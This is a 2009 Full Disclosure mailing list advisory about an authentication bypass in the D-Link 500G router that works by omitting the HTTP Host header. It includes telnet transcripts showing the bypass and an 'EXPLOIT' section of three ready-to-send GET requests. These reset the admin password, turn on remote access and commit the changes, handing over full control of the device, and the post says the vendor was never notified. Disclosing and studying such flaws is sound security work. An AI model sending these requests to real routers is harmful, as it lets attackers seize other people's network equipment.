Full Disclosure mailing list archives
D-Link 500G Authentication Bypass
From: Jardel Weyrich <jweyrich () gmail com>
Date: Mon, 24 Aug 2009 10:30:57 -0300
D-LINK 500G AUTHENTICATION BYPASS SUMMARY There is an authentication bypass vulnerability in D-Link 500G that allows an attacker to take full control over the device. Remote access is disabled by default, so the attacker is required to be on the local network. The bypass can be triggered sending a HTTP request without the HOST header. Example: $ telnet 192.168.0.1 80 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. GET / HTTP/1.1 Host: 192.168.0.1 Connection: close HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic Realm="DSL-500G" Content-type: text/html Content-length: 111 <html><head><title>401 Unauthorized Access</title></head><body><h1>401 Unauthorized Access</h1></body></html> Connection closed by foreign host. $ telnet 192.168.0.1 80 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. GET / HTTP/1.1 Connection: close HTTP/1.1 302 Document Follows Location: /hag/pages/home.ssi Connection closed by foreign host. AFFECTED PRODUCTS D-Link 500G - Firmware R2.01.B9.EU(030917a/T93.3.44) Haven't tested other devices and version yet. SOLUTION The manufacturer has not been contacted. EXPLOIT 1. Reset the admin password: GET /Action?cmdSubmit=Submit&ex_param1=admin&id=3&new_pass1=admin&new_pass2=admin&old_pass=admin&user=admin HTTP/1.0 2. Enable remote access: GET /Action?cmdSubmit=Submit&remote=0&id=83 HTTP/1.0 3. Commit changes: GET /Action?cmdCommit=Commit&reboot_loc=0&id=4 HTTP/1.0 CREDITS Discovered by Jardel Weyrich <jweyrich at gmail dot com>.
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- D-Link 500G Authentication Bypass Jardel Weyrich (Aug 24)
- <Possible follow-ups>
- D-Link 500G Authentication Bypass Jardel Weyrich (Aug 24)